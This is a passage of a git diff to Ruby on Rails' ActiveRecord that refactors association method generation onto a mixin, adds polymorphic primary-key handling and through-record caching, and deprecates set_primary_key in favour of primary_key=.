+ # It's also a good idea to add indexes to each of those columns to speed up the joins process.
+ # However, in MySQL it is advised to add a compound index for both of the columns as MySQL only
+ # uses one index per table during the lookup.
+ #
# Adds the following methods for retrieval and query:
#
# [collection(force_reload = false)]
@@ -1571,7 +1595,7 @@ module ActiveRecord
# has_and_belongs_to_many :categories, :join_table => "prods_cats"
# has_and_belongs_to_many :categories, :readonly => true
# has_and_belongs_to_many :active_projects, :join_table => 'developers_projects', :delete_sql =>
- # 'DELETE FROM developers_projects WHERE active=1 AND developer_id = #{id} AND project_id = #{record.id}'
+ # "DELETE FROM developers_projects WHERE active=1 AND developer_id = #{id} AND project_id = #{record.id}"
def has_and_belongs_to_many(name, options = {}, &extension)
Builder::HasAndBelongsToMany.build(self, name, options, &extension)
end
diff --git a/activerecord/lib/active_record/associations/alias_tracker.rb b/activerecord/lib/active_record/associations/alias_tracker.rb
index 92ed844a2e..0248c7483c 100644
--- a/activerecord/lib/active_record/associations/alias_tracker.rb
+++ b/activerecord/lib/active_record/associations/alias_tracker.rb
@@ -53,12 +53,18 @@ module ActiveRecord
# quoted_name should be downcased as some database adapters (Oracle) return quoted name in uppercase
quoted_name = connection.quote_table_name(name).downcase
- table_joins.map { |join|
- # Table names + table aliases
- join.left.downcase.scan(
- /join(?:\s+\w+)?\s+(\S+\s+)?#{quoted_name}\son/
- ).size
- }.sum
+ counts = table_joins.map do |join|
+ if join.is_a?(Arel::Nodes::StringJoin)
+ # Table names + table aliases
+ join.left.downcase.scan(
+ /join(?:\s+\w+)?\s+(\S+\s+)?#{quoted_name}\son/
+ ).size
+ else
+ join.left.table_name == name ? 1 : 0
+ end
+ end
+
+ counts.sum
end
def truncate(name)
diff --git a/activerecord/lib/active_record/associations/association.rb b/activerecord/lib/active_record/associations/association.rb
index bb519c5703..d1e3ff8e38 100644
--- a/activerecord/lib/active_record/associations/association.rb
+++ b/activerecord/lib/active_record/associations/association.rb
@@ -151,20 +151,20 @@ module ActiveRecord
reset
end
+ def interpolate(sql, record = nil)
+ if sql.respond_to?(:to_proc)
+ owner.send(:instance_exec, record, &sql)
+ else
+ sql
+ end
+ end
+
private
def find_target?
!loaded? && (!owner.new_record? || foreign_key_present?) && klass
end
- def interpolate(sql, record = nil)
- if sql.respond_to?(:to_proc)
- owner.send(:instance_exec, record, &sql)
- else
- sql
- end
- end
-
def creation_attributes
attributes = {}
diff --git a/activerecord/lib/active_record/associations/association_scope.rb b/activerecord/lib/active_record/associations/association_scope.rb
index 9e6d9e73c5..6f8b76abda 100644
--- a/activerecord/lib/active_record/associations/association_scope.rb
+++ b/activerecord/lib/active_record/associations/association_scope.rb
@@ -20,35 +20,19 @@ module ActiveRecord
# It's okay to just apply all these like this. The options will only be present if the
# association supports that option; this is enforced by the association builder.
scope = scope.apply_finder_options(options.slice(
- :readonly, :include, :order, :limit, :joins, :group, :having, :offset))
+ :readonly, :include, :order, :limit, :joins, :group, :having, :offset, :select))
if options[:through] && !options[:include]
scope = scope.includes(source_options[:include])
end
- if select = select_value
- scope = scope.select(select)
- end
+ scope = scope.uniq if options[:uniq]
add_constraints(scope)
end
private
- def select_value
- select_value = options[:select]
-
- if reflection.collection?
- select_value ||= options[:uniq] && "DISTINCT #{reflection.quoted_table_name}.*"
- end
-
- if reflection.macro == :has_and_belongs_to_many
- select_value ||= reflection.klass.arel_table[Arel.star]
- end
-
- select_value
- end
-
def add_constraints(scope)
tables = construct_tables
@@ -68,7 +52,12 @@ module ActiveRecord
end
if reflection.source_macro == :belongs_to
- key = reflection.association_primary_key
+ if reflection.options[:polymorphic]
+ key = reflection.association_primary_key(klass)
+ else
+ key = reflection.association_primary_key
+ end
+
foreign_key = reflection.foreign_key
else
key = reflection.foreign_key
diff --git a/activerecord/lib/active_record/associations/belongs_to_association.rb b/activerecord/lib/active_record/associations/belongs_to_association.rb
index adb6af7165..97f531d064 100644
--- a/activerecord/lib/active_record/associations/belongs_to_association.rb
+++ b/activerecord/lib/active_record/associations/belongs_to_association.rb
@@ -20,6 +20,10 @@ module ActiveRecord
private
+ def find_target?
+ !loaded? && foreign_key_present? && klass
+ end
+
def update_counters(record)
counter_cache_name = reflection.counter_cache_column
@@ -41,7 +45,11 @@ module ActiveRecord
end
def replace_keys(record)
- owner[reflection.foreign_key] = record && record[reflection.association_primary_key]
+ if record
+ owner[reflection.foreign_key] = record[reflection.association_primary_key(record.class)]
+ else
+ owner[reflection.foreign_key] = nil
+ end
end
def foreign_key_present?
diff --git a/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
index 198ad06360..2ee5dbbd70 100644
--- a/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
+++ b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
@@ -2,6 +2,11 @@ module ActiveRecord
# = Active Record Belongs To Polymorphic Association
module Associations
class BelongsToPolymorphicAssociation < BelongsToAssociation #:nodoc:
+ def klass
+ type = owner[reflection.foreign_type]
+ type.presence && type.constantize
+ end
+
private
def replace_keys(record)
@@ -17,11 +22,6 @@ module ActiveRecord
reflection.polymorphic_inverse_of(record.class)
end
- def klass
- type = owner[reflection.foreign_type]
- type.presence && type.constantize
- end
-
def raise_on_type_mismatch(record)
# A polymorphic association cannot have a type mismatch, by definition
end
diff --git a/activerecord/lib/active_record/associations/builder/association.rb b/activerecord/lib/active_record/associations/builder/association.rb
index 96fca97440..d4f59100e8 100644
--- a/activerecord/lib/active_record/associations/builder/association.rb
+++ b/activerecord/lib/active_record/associations/builder/association.rb
@@ -16,6 +16,10 @@ module ActiveRecord::Associations::Builder
@model, @name, @options = model, name, options
end
+ def mixin
+ @model.generated_feature_methods
+ end
+
def build
validate_options
reflection = model.create_reflection(self.class.macro, name, options, model)
@@ -36,16 +40,14 @@ module ActiveRecord::Associations::Builder
def define_readers
name = self.name
-
- model.redefine_method(name) do |*params|
+ mixin.redefine_method(name) do |*params|
association(name).reader(*params)
end
end
def define_writers
name = self.name
-
- model.redefine_method("#{name}=") do |value|
+ mixin.redefine_method("#{name}=") do |value|
association(name).writer(value)
end
end
diff --git a/activerecord/lib/active_record/associations/builder/belongs_to.rb b/activerecord/lib/active_record/associations/builder/belongs_to.rb
index f6d26840c2..1759a41d93 100644
--- a/activerecord/lib/active_record/associations/builder/belongs_to.rb
+++ b/activerecord/lib/active_record/associations/builder/belongs_to.rb
@@ -25,14 +25,14 @@ module ActiveRecord::Associations::Builder
name = self.name
method_name = "belongs_to_counter_cache_after_create_for_#{name}"
- model.redefine_method(method_name) do
+ mixin.redefine_method(method_name) do
record = send(name)
record.class.increment_counter(cache_column, record.id) unless record.nil?
end
model.after_create(method_name)
method_name = "belongs_to_counter_cache_before_destroy_for_#{name}"
- model.redefine_method(method_name) do
+ mixin.redefine_method(method_name) do
record = send(name)
record.class.decrement_counter(cache_column, record.id) unless record.nil?
end
@@ -48,7 +48,7 @@ module ActiveRecord::Associations::Builder
method_name = "belongs_to_touch_after_save_or_destroy_for_#{name}"
touch = options[:touch]
- model.redefine_method(method_name) do
+ mixin.redefine_method(method_name) do
record = send(name)
unless record.nil?
diff --git a/activerecord/lib/active_record/associations/builder/collection_association.rb b/activerecord/lib/active_record/associations/builder/collection_association.rb
index f62209a226..35f9a3ae8e 100644
--- a/activerecord/lib/active_record/associations/builder/collection_association.rb
+++ b/activerecord/lib/active_record/associations/builder/collection_association.rb
@@ -58,7 +58,7 @@ module ActiveRecord::Associations::Builder
super
name = self.name
- model.redefine_method("#{name.to_s.singularize}_ids") do
+ mixin.redefine_method("#{name.to_s.singularize}_ids") do
association(name).ids_reader
end
end
@@ -67,7 +67,7 @@ module ActiveRecord::Associations::Builder
super
name = self.name
- model.redefine_method("#{name.to_s.singularize}_ids=") do |ids|
+ mixin.redefine_method("#{name.to_s.singularize}_ids=") do |ids|
association(name).ids_writer(ids)
end
end
diff --git a/activerecord/lib/active_record/associations/builder/has_many.rb b/activerecord/lib/active_record/associations/builder/has_many.rb
index ecbc70888f..d29a525b9e 100644
--- a/activerecord/lib/active_record/associations/builder/has_many.rb
+++ b/activerecord/lib/active_record/associations/builder/has_many.rb
@@ -28,7 +28,7 @@ module ActiveRecord::Associations::Builder
def define_destroy_dependency_method
name = self.name
- model.send(:define_method, dependency_method_name) do
+ mixin.redefine_method(dependency_method_name) do
send(name).each do |o|
# No point in executing the counter update since we're going to destroy the parent anyway
counter_method = ('belongs_to_counter_cache_before_destroy_for_' + self.class.name.downcase).to_sym
@@ -45,7 +45,7 @@ module ActiveRecord::Associations::Builder
def define_delete_all_dependency_method
name = self.name
- model.send(:define_method, dependency_method_name) do
+ mixin.redefine_method(dependency_method_name) do
send(name).delete_all
end
end
@@ -53,7 +53,7 @@ module ActiveRecord::Associations::Builder
def define_restrict_dependency_method
name = self.name
- model.send(:define_method, dependency_method_name) do
+ mixin.redefine_method(dependency_method_name) do
raise ActiveRecord::DeleteRestrictionError.new(name) unless send(name).empty?
end
end
diff --git a/activerecord/lib/active_record/associations/builder/has_one.rb b/activerecord/lib/active_record/associations/builder/has_one.rb
index 88c0d3e90f..7a6cd3890f 100644
--- a/activerecord/lib/active_record/associations/builder/has_one.rb
+++ b/activerecord/lib/active_record/associations/builder/has_one.rb
@@ -44,18 +44,17 @@ module ActiveRecord::Associations::Builder
end
def define_destroy_dependency_method
- model.send(:class_eval, <<-eoruby, __FILE__, __LINE__ + 1)
- def #{dependency_method_name}
- association(#{name.to_sym.inspect}).delete
- end
- eoruby
+ name = self.name
+ mixin.redefine_method(dependency_method_name) do
+ association(name).delete
+ end
end
alias :define_delete_dependency_method :define_destroy_dependency_method
alias :define_nullify_dependency_method :define_destroy_dependency_method
def define_restrict_dependency_method
name = self.name
- model.redefine_method(dependency_method_name) do
+ mixin.redefine_method(dependency_method_name) do
raise ActiveRecord::DeleteRestrictionError.new(name) unless send(name).nil?
end
end
diff --git a/activerecord/lib/active_record/associations/builder/singular_association.rb b/activerecord/lib/active_record/associations/builder/singular_association.rb
index 0cbbba041a..436b6c1524 100644
--- a/activerecord/lib/active_record/associations/builder/singular_association.rb
+++ b/activerecord/lib/active_record/associations/builder/singular_association.rb
@@ -16,15 +16,15 @@ module ActiveRecord::Associations::Builder
def define_constructors
name = self.name
- model.redefine_method("build_#{name}") do |*params, &block|
+ mixin.redefine_method("build_#{name}") do |*params, &block|
association(name).build(*params, &block)
end
- model.redefine_method("create_#{name}") do |*params, &block|
+ mixin.redefine_method("create_#{name}") do |*params, &block|
association(name).create(*params, &block)
end
- model.redefine_method("create_#{name}!") do |*params, &block|
+ mixin.redefine_method("create_#{name}!") do |*params, &block|
association(name).create!(*params, &block)
end
end
diff --git a/activerecord/lib/active_record/associations/collection_association.rb b/activerecord/lib/active_record/associations/collection_association.rb
index cec876149c..af37909c89 100644
--- a/activerecord/lib/active_record/associations/collection_association.rb
+++ b/activerecord/lib/active_record/associations/collection_association.rb
@@ -235,7 +235,7 @@ module ActiveRecord
# This method is abstract in the sense that it relies on
# +count_records+, which is a method descendants have to provide.
def size
- if owner.new_record? || (loaded? && !options[:uniq])
+ if !find_target? || (loaded? && !options[:uniq])
target.size
elsif !loaded? && options[:group]
load_target.size
@@ -344,8 +344,12 @@ module ActiveRecord
if options[:counter_sql]
interpolate(options[:counter_sql])
else
- # replace the SELECT clause with COUNT(*), preserving any hints within /* ... */
- interpolate(options[:finder_sql]).sub(/SELECT\b(\/\*.*?\*\/ )?(.*)\bFROM\b/im) { "SELECT #{$1}COUNT(*) FROM" }
+ # replace the SELECT clause with COUNT(SELECTS), preserving any hints within /* ... */
+ interpolate(options[:finder_sql]).sub(/SELECT\b(\/\*.*?\*\/ )?(.*)\bFROM\b/im) do
+ count_with = $2.to_s
+ count_with = '*' if count_with.blank? || count_with =~ /,/
+ "SELECT #{$1}COUNT(#{count_with}) FROM"
+ end
end
end
diff --git a/activerecord/lib/active_record/associations/collection_proxy.rb b/activerecord/lib/active_record/associations/collection_proxy.rb
index 6ba3d45aff..80bc4990d2 100644
--- a/activerecord/lib/active_record/associations/collection_proxy.rb
+++ b/activerecord/lib/active_record/associations/collection_proxy.rb
@@ -39,14 +39,14 @@ module ActiveRecord
instance_methods.each { |m| undef_method m unless m.to_s =~ /^(?:nil\?|send|object_id|to_a)$|^__|^respond_to|proxy_/ }
delegate :group, :order, :limit, :joins, :where, :preload, :eager_load, :includes, :from,
- :lock, :readonly, :having, :to => :scoped
+ :lock, :readonly, :having, :pluck, :to => :scoped
delegate :target, :load_target, :loaded?, :scoped,
:to => :@association
delegate :select, :find, :first, :last,
:build, :create, :create!,
- :concat, :delete_all, :destroy_all, :delete, :destroy, :uniq,
+ :concat, :replace, :delete_all, :destroy_all, :delete, :destroy, :uniq,
:sum, :count, :size, :length, :empty?,
:any?, :many?, :include?,
:to => :@association
diff --git a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb b/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
index f7ce70db1a..1f917f58f2 100644
--- a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
+++ b/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
@@ -26,7 +26,7 @@ module ActiveRecord
join_table[reflection.association_foreign_key] => record.id
)
- owner.connection.insert stmt.to_sql
+ owner.connection.insert stmt
end
record
@@ -46,7 +46,7 @@ module ActiveRecord
stmt = relation.where(relation[reflection.foreign_key].eq(owner.id).
and(relation[reflection.association_foreign_key].in(records.map { |x| x.id }.compact))
).compile_delete
- owner.connection.delete stmt.to_sql
+ owner.connection.delete stmt
end
end
diff --git a/activerecord/lib/active_record/associations/has_many_association.rb b/activerecord/lib/active_record/associations/has_many_association.rb
index 50ee60284c..c5b90e873a 100644
--- a/activerecord/lib/active_record/associations/has_many_association.rb
+++ b/activerecord/lib/active_record/associations/has_many_association.rb
@@ -89,8 +89,12 @@ module ActiveRecord
records.each { |r| r.destroy }
update_counter(-records.length) unless inverse_updates_counter_cache?
else
- keys = records.map { |r| r[reflection.association_primary_key] }
- scope = scoped.where(reflection.association_primary_key => keys)
+ scope = scoped
+
+ unless records == load_target
+ keys = records.map { |r| r[reflection.association_primary_key] }
+ scope = scoped.where(reflection.association_primary_key => keys)
+ end
if method == :delete_all
update_counter(-scope.delete_all)
@@ -99,6 +103,10 @@ module ActiveRecord
end
end
end
+
+ def foreign_key_present?
+ owner.attribute_present?(reflection.association_primary_key)
+ end
end
end
end
diff --git a/activerecord/lib/active_record/associations/has_many_through_association.rb b/activerecord/lib/active_record/associations/has_many_through_association.rb
index 2e818dca5d..7e6e3be382 100644
--- a/activerecord/lib/active_record/associations/has_many_through_association.rb
+++ b/activerecord/lib/active_record/associations/has_many_through_association.rb
@@ -6,6 +6,13 @@ module ActiveRecord
class HasManyThroughAssociation < HasManyAssociation #:nodoc:
include ThroughAssociation
+ def initialize(owner, reflection)
+ super
+
+ @through_records = {}
+ @through_association = nil
+ end
+
# Returns the size of the collection by executing a SELECT COUNT(*) query if the collection hasn't been
# loaded and calling collection.size if it has. If it's more likely than not that the collection does
# have a size larger than zero, and you need to fetch that collection afterwards, it'll take one fewer
@@ -42,27 +49,36 @@ module ActiveRecord
end
end
- through_record(record).save!
+ save_through_record(record)
update_counter(1)
record
end
private
- def through_record(record)
- through_association = owner.association(through_reflection.name)
- attributes = construct_join_attributes(record)
-
- through_record = Array.wrap(through_association.target).find { |candidate|
- candidate.attributes.slice(*attributes.keys) == attributes
- }
+ def through_association
+ @through_association ||= owner.association(through_reflection.name)
+ end
- unless through_record
- through_record = through_association.build(attributes)
+ # We temporarily cache through record that has been build, because if we build a
+ # through record in build_record and then subsequently call insert_record, then we
+ # want to use the exact same object.
+ #
+ # However, after insert_record has been called, we clear the cache entry because
+ # we want it to be possible to have multiple instances of the same record in an
+ # association
+ def build_through_record(record)
+ @through_records[record.object_id] ||= begin
+ through_record = through_association.build(construct_join_attributes(record))
through_record.send("#{source_reflection.name}=", record)
+ through_record
end
+ end
- through_record
+ def save_through_record(record)
+ build_through_record(record).save!
+ ensure
+ @through_records.delete(record.object_id)
end
def build_record(attributes, options = {})
@@ -73,9 +89,9 @@ module ActiveRecord
inverse = source_reflection.inverse_of
if inverse
if inverse.macro == :has_many
- record.send(inverse.name) << through_record(record)
+ record.send(inverse.name) << build_through_record(record)
elsif inverse.macro == :has_one
- record.send("#{inverse.name}=", through_record(record))
+ record.send("#{inverse.name}=", build_through_record(record))
end
end
@@ -104,8 +120,7 @@ module ActiveRecord
def delete_records(records, method)
ensure_not_nested
- through = owner.association(through_reflection.name)
- scope = through.scoped.where(construct_join_attributes(*records))
+ scope = through_association.scoped.where(construct_join_attributes(*records))
case method
when :destroy
@@ -116,7 +131,7 @@ module ActiveRecord
count = scope.delete_all
end
- delete_through_records(through, records)
+ delete_through_records(records)
if through_reflection.macro == :has_many && update_through_counter?(method)
update_counter(-count, through_reflection)
@@ -125,15 +140,25 @@ module ActiveRecord
update_counter(-count)
end
- def delete_through_records(through, records)
- if through_reflection.macro == :has_many
- records.each do |record|
- through.target.delete(through_record(record))
- end
- else
- records.each do |record|
- through.target = nil if through.target == through_record(record)
+ def through_records_for(record)
+ attributes = construct_join_attributes(record)
+ candidates = Array.wrap(through_association.target)
+ candidates.find_all { |c| c.attributes.slice(*attributes.keys) == attributes }
+ end
+
+ def delete_through_records(records)
+ records.each do |record|
+ through_records = through_records_for(record)
+
+ if through_reflection.macro == :has_many
+ through_records.each { |r| through_association.target.delete(r) }
+ else
+ if through_records.include?(through_association.target)
+ through_association.target = nil
+ end
end
+
+ @through_records.delete(record.object_id)
end
end
diff --git a/activerecord/lib/active_record/associations/join_dependency.rb b/activerecord/lib/active_record/associations/join_dependency.rb
index 504f25271c..6c878f0f00 100644
--- a/activerecord/lib/active_record/associations/join_dependency.rb
+++ b/activerecord/lib/active_record/associations/join_dependency.rb
@@ -188,13 +188,12 @@ module ActiveRecord
association = join_part.instantiate(row) unless row[join_part.aliased_primary_key].nil?
set_target_and_inverse(join_part, association, record)
else
- return if row[join_part.aliased_primary_key].nil?
- association = join_part.instantiate(row)
+ association = join_part.instantiate(row) unless row[join_part.aliased_primary_key].nil?
case macro
when :has_many, :has_and_belongs_to_many
other = record.association(join_part.reflection.name)
other.loaded!
- other.target.push(association)
+ other.target.push(association) if association
other.set_inverse_instance(association)
when :belongs_to
set_target_and_inverse(join_part, association, record)
diff --git a/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb b/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb
index 24be279449..b77b667219 100644
--- a/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb
+++ b/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb
@@ -13,7 +13,7 @@ module ActiveRecord
# access the aliased column on the join table
def records_for(ids)
scope = super
- klass.connection.select_all(scope.arel.to_sql, 'SQL', scope.bind_values)
+ klass.connection.select_all(scope.arel, 'SQL', scope.bind_values)
end
def owner_key_name
diff --git a/activerecord/lib/active_record/associations/through_association.rb b/activerecord/lib/active_record/associations/through_association.rb
index 81172179e0..f95e5337c2 100644
--- a/activerecord/lib/active_record/associations/through_association.rb
+++ b/activerecord/lib/active_record/associations/through_association.rb
@@ -16,7 +16,7 @@ module ActiveRecord
chain[1..-1].each do |reflection|
scope = scope.merge(
reflection.klass.scoped.with_default_scope.
- except(:select, :create_with, :includes)
+ except(:select, :create_with, :includes, :preload, :joins, :eager_load)
)
end
scope
@@ -44,7 +44,7 @@ module ActiveRecord
join_attributes = {
source_reflection.foreign_key =>
records.map { |record|
- record.send(source_reflection.association_primary_key)
+ record.send(source_reflection.association_primary_key(reflection.klass))
}
}
diff --git a/activerecord/lib/active_record/attribute_methods.rb b/activerecord/lib/active_record/attribute_methods.rb
index d0687ed0b6..d7bfaa5655 100644
--- a/activerecord/lib/active_record/attribute_methods.rb
+++ b/activerecord/lib/active_record/attribute_methods.rb
@@ -1,4 +1,5 @@
require 'active_support/core_ext/enumerable'
+require 'active_support/deprecation'
module ActiveRecord
# = Active Record Attribute Methods
@@ -11,56 +12,83 @@ module ActiveRecord
# accessors, mutators and query methods.
def define_attribute_methods
return if attribute_methods_generated?
- super(column_names)
- @attribute_methods_generated = true
+
+ if base_class == self
+ super(column_names)
+ @attribute_methods_generated = true
+ else
+ base_class.define_attribute_methods
+ end
end
def attribute_methods_generated?
- @attribute_methods_generated ||= false
+ if base_class == self
+ @attribute_methods_generated ||= false
+ else
+ base_class.attribute_methods_generated?
+ end
end
def undefine_attribute_methods(*args)
- super
- @attribute_methods_generated = false
+ if base_class == self
+ super
+ @attribute_methods_generated = false
+ else
+ base_class.undefine_attribute_methods(*args)
+ end
end
- # Checks whether the method is defined in the model or any of its subclasses
- # that also derive from Active Record. Raises DangerousAttributeError if the
- # method is defined by Active Record though.
def instance_method_already_implemented?(method_name)
- method_name = method_name.to_s
- index = ancestors.index(ActiveRecord::Base) || ancestors.length
- @_defined_class_methods ||= ancestors.first(index).map { |m|
- m.instance_methods(false) | m.private_instance_methods(false)
- }.flatten.map {|m| m.to_s }.to_set
+ if dangerous_attribute_method?(method_name)
+ raise DangerousAttributeError, "#{method_name} is defined by ActiveRecord"
+ end
- @@_defined_activerecord_methods ||= defined_activerecord_methods
- raise DangerousAttributeError, "#{method_name} is defined by ActiveRecord" if @@_defined_activerecord_methods.include?(method_name)
- @_defined_class_methods.include?(method_name)
+ super
end
- def defined_activerecord_methods
+ # A method name is 'dangerous' if it is already defined by Active Record, but
+ # not by any ancestors. (So 'puts' is not dangerous but 'save' is.)
+ def dangerous_attribute_method?(method_name)
active_record = ActiveRecord::Base
- super_klass = ActiveRecord::Base.superclass
- methods = (active_record.instance_methods - super_klass.instance_methods) +
- (active_record.private_instance_methods - super_klass.private_instance_methods)
- methods.map {|m| m.to_s }.to_set
+ superclass = ActiveRecord::Base.superclass
+
+ (active_record.method_defined?(method_name) ||
+ active_record.private_method_defined?(method_name)) &&
+ !superclass.method_defined?(method_name) &&
+ !superclass.private_method_defined?(method_name)
end
end
- def method_missing(method_id, *args, &block)
- # If we haven't generated any methods yet, generate them, then
- # see if we've created the method we're looking for.
- if !self.class.attribute_methods_generated?
+ # If we haven't generated any methods yet, generate them, then
+ # see if we've created the method we're looking for.
+ def method_missing(method, *args, &block)
+ unless self.class.attribute_methods_generated?
self.class.define_attribute_methods
- method_name = method_id.to_s
- guard_private_attribute_method!(method_name, args)
- send(method_id, *args, &block)
+
+ if respond_to_without_attributes?(method)
+ send(method, *args, &block)
+ else
+ super
+ end
else
super
end
end
+ def attribute_missing(match, *args, &block)
+ if self.class.columns_hash[match.attr_name]
+ ActiveSupport::Deprecation.warn(
+ "The method `#{match.method_name}', matching the attribute `#{match.attr_name}' has " \
+ "dispatched through method_missing. This shouldn't happen, because `#{match.attr_name}' " \
+ "is a column of the table. If this error has happened through normal usage of Active " \
+ "Record (rather than through your own code or external libraries), please report it as " \
+ "a bug."
+ )
+ end
+
+ super
+ end
+
def respond_to?(name, include_private = false)
self.class.define_attribute_methods unless self.class.attribute_methods_generated?
super
diff --git a/activerecord/lib/active_record/attribute_methods/dirty.rb b/activerecord/lib/active_record/attribute_methods/dirty.rb
index 3eff3d54e3..f61e016f46 100644
--- a/activerecord/lib/active_record/attribute_methods/dirty.rb
+++ b/activerecord/lib/active_record/attribute_methods/dirty.rb
@@ -34,9 +34,9 @@ module ActiveRecord
@previously_changed = changes
@changed_attributes.clear
end
- rescue
- IdentityMap.remove(self) if IdentityMap.enabled?
- raise
+ rescue
+ IdentityMap.remove(self) if IdentityMap.enabled?
+ raise
end
# <tt>reload</tt> the record and clears changed attributes.
diff --git a/activerecord/lib/active_record/attribute_methods/primary_key.rb b/activerecord/lib/active_record/attribute_methods/primary_key.rb
index 8bd898d126..6eff716703 100644
--- a/activerecord/lib/active_record/attribute_methods/primary_key.rb
+++ b/activerecord/lib/active_record/attribute_methods/primary_key.rb
@@ -3,18 +3,38 @@ module ActiveRecord
module PrimaryKey
extend ActiveSupport::Concern
- # Returns this record's primary key value wrapped in an Array or nil if
- # the record is not persisted? or has just been destroyed.
+ # Returns this record's primary key value wrapped in an Array if one is available
def to_key
- key = send(self.class.primary_key)
- persisted? && key ? [key] : nil
+ key = self.id
+ [key] if key
+ end
+
+ # Returns the primary key value
+ def id
+ read_attribute(self.class.primary_key)
+ end
+ alias _id id
+
+ # Sets the primary key value
+ def id=(value)
+ write_attribute(self.class.primary_key, value)
+ end
+
+ # Queries the primary key value
+ def id?
+ query_attribute(self.class.primary_key)
end
module ClassMethods
+ def dangerous_attribute_method?(method_name)
+ super && !['id', 'id=', 'id?', '_id'].include?(method_name)
+ end
+
# Defines the primary key field -- can be overridden in subclasses. Overwriting will negate any effect of the
# primary_key_prefix_type setting, though.
def primary_key
- @primary_key ||= reset_primary_key
+ @primary_key = reset_primary_key unless defined? @primary_key
+ @primary_key
end
# Returns a quoted version of the primary key name, used to construct SQL statements.
@@ -23,11 +43,11 @@ module ActiveRecord
end
def reset_primary_key #:nodoc:
- key = self == base_class ? get_primary_key(base_class.name) :
- base_class.primary_key
-
- set_primary_key(key)
- key
+ if self == base_class
+ self.primary_key = get_primary_key(base_class.name)
+ else
+ self.primary_key = base_class.primary_key
+ end
end
def get_primary_key(base_name) #:nodoc:
@@ -47,28 +67,33 @@ module ActiveRecord
end
end
- attr_accessor :original_primary_key
-
- # Attribute writer for the primary key column
- def primary_key=(value)
- @quoted_primary_key = nil
- @primary_key = value
+ def original_primary_key #:nodoc:
+ deprecated_original_property_getter :primary_key
end
- # Sets the name of the primary key column to use to the given value,
- # or (if the value is nil or false) to the value returned by the given
- # block.
+ # Sets the name of the primary key column.
+ #
+ # class Project < ActiveRecord::Base
+ # self.primary_key = "sysid"
+ # end
+ #
+ # You can also define the primary_key method yourself:
#
# class Project < ActiveRecord::Base
- # set_primary_key "sysid"
+ # def self.primary_key
+ # "foo_" + super
+ # end
# end
- def set_primary_key(value = nil, &block)
+ # Project.primary_key # => "foo_id"
+ def primary_key=(value)
+ @original_primary_key = @primary_key if defined?(@primary_key)
+ @primary_key = value && value.to_s
+ @quoted_primary_key = nil
+ end
+
+ def set_primary_key(value = nil, &block) #:nodoc:
+ deprecated_property_setter :primary_key, value, block
@quoted_primary_key = nil
- @primary_key ||= ''
- self.original_primary_key = @primary_key
- value &&= value.to_s
- connection_pool.primary_keys[table_name] = value
- self.primary_key = block_given? ? instance_eval(&block) : value
end
end
end
diff --git a/activerecord/lib/active_record/attribute_methods/read.rb b/activerecord/lib/active_record/attribute_methods/read.rb
index 9a50a20fbc..4fdfe77bab 100644
--- a/activerecord/lib/active_record/attribute_methods/read.rb
+++ b/activerecord/lib/active_record/attribute_methods/read.rb
@@ -6,13 +6,8 @@ module ActiveRecord
ATTRIBUTE_TYPES_CACHED_BY_DEFAULT = [:datetime, :timestamp, :time, :date]
included do
- attribute_method_suffix ""
-
cattr_accessor :attribute_types_cached_by_default, :instance_writer => false
self.attribute_types_cached_by_default = ATTRIBUTE_TYPES_CACHED_BY_DEFAULT
-
- # Undefine id so it can be used as an attribute name
- undef_method(:id) if method_defined?(:id)
end
module ClassMethods
@@ -36,26 +31,12 @@ module ActiveRecord
protected
def define_method_attribute(attr_name)
- if serialized_attributes.include?(attr_name)
- define_read_method_for_serialized_attribute(attr_name)
- else
- define_read_method(attr_name, attr_name, columns_hash[attr_name])
- end
-
- if attr_name == primary_key && attr_name != "id"
- define_read_method('id', attr_name, columns_hash[attr_name])
- end
+ define_read_method(attr_name, attr_name, columns_hash[attr_name])
end
private
def cacheable_column?(column)
- serialized_attributes.include?(column.name) || attribute_types_cached_by_default.include?(column.type)
- end
-
- # Define read method for serialized attribute.
- def define_read_method_for_serialized_attribute(attr_name)
- access_code = "@attributes_cache['#{attr_name}'] ||= @attributes['#{attr_name}']"
- generated_attribute_methods.module_eval("def _#{attr_name}; #{access_code}; end; alias #{attr_name} _#{attr_name}", __FILE__, __LINE__)
+ attribute_types_cached_by_default.include?(column.type)
end
# Define an attribute reader method. Cope with nil column.
@@ -79,7 +60,7 @@ module ActiveRecord
#
# The second, slower, branch is necessary to support instances where the database
# returns columns with extra stuff in (like 'my_column(omg)').
- if method_name =~ ActiveModel::AttributeMethods::COMPILABLE_REGEXP
+ if method_name =~ ActiveModel::AttributeMethods::NAME_COMPILABLE_REGEXP
generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__
def _#{method_name}
#{access_code}
@@ -110,34 +91,21 @@ module ActiveRecord
def _read_attribute(attr_name)
attr_name = attr_name.to_s
attr_name = self.class.primary_key if attr_name == 'id'
- value = @attributes[attr_name]
- unless value.nil?
- if column = column_for_attribute(attr_name)
- if unserializable_attribute?(attr_name, column)
- unserialize_attribute(attr_name)
- else
- column.type_cast(value)
- end
+
+ unless @attributes[attr_name].nil?
+ type_cast_attribute(column_for_attribute(attr_name), @attributes[attr_name])
+ end
+ end
+
+ private
+ def type_cast_attribute(column, value)
+ if column
+ column.type_cast(value)
else
value
end
end
- end
- # Returns true if the attribute is of a text column and marked for serialization.
- def unserializable_attribute?(attr_name, column)
- column.text? && self.class.serialized_attributes.include?(attr_name)
- end
-
- # Returns the unserialized object of the attribute.
- def unserialize_attribute(attr_name)
- coder = self.class.serialized_attributes[attr_name]
- unserialized_object = coder.load(@attributes[attr_name])
-
- @attributes.frozen? ? unserialized_object : @attributes[attr_name] = unserialized_object
- end
-
- private
def attribute(attribute_name)
read_attribute(attribute_name)
end
diff --git a/activerecord/lib/active_record/attribute_methods/serialization.rb b/activerecord/lib/active_record/attribute_methods/serialization.rb
new file mode 100644
index 0000000000..d1eb3d5bfc
--- /dev/null
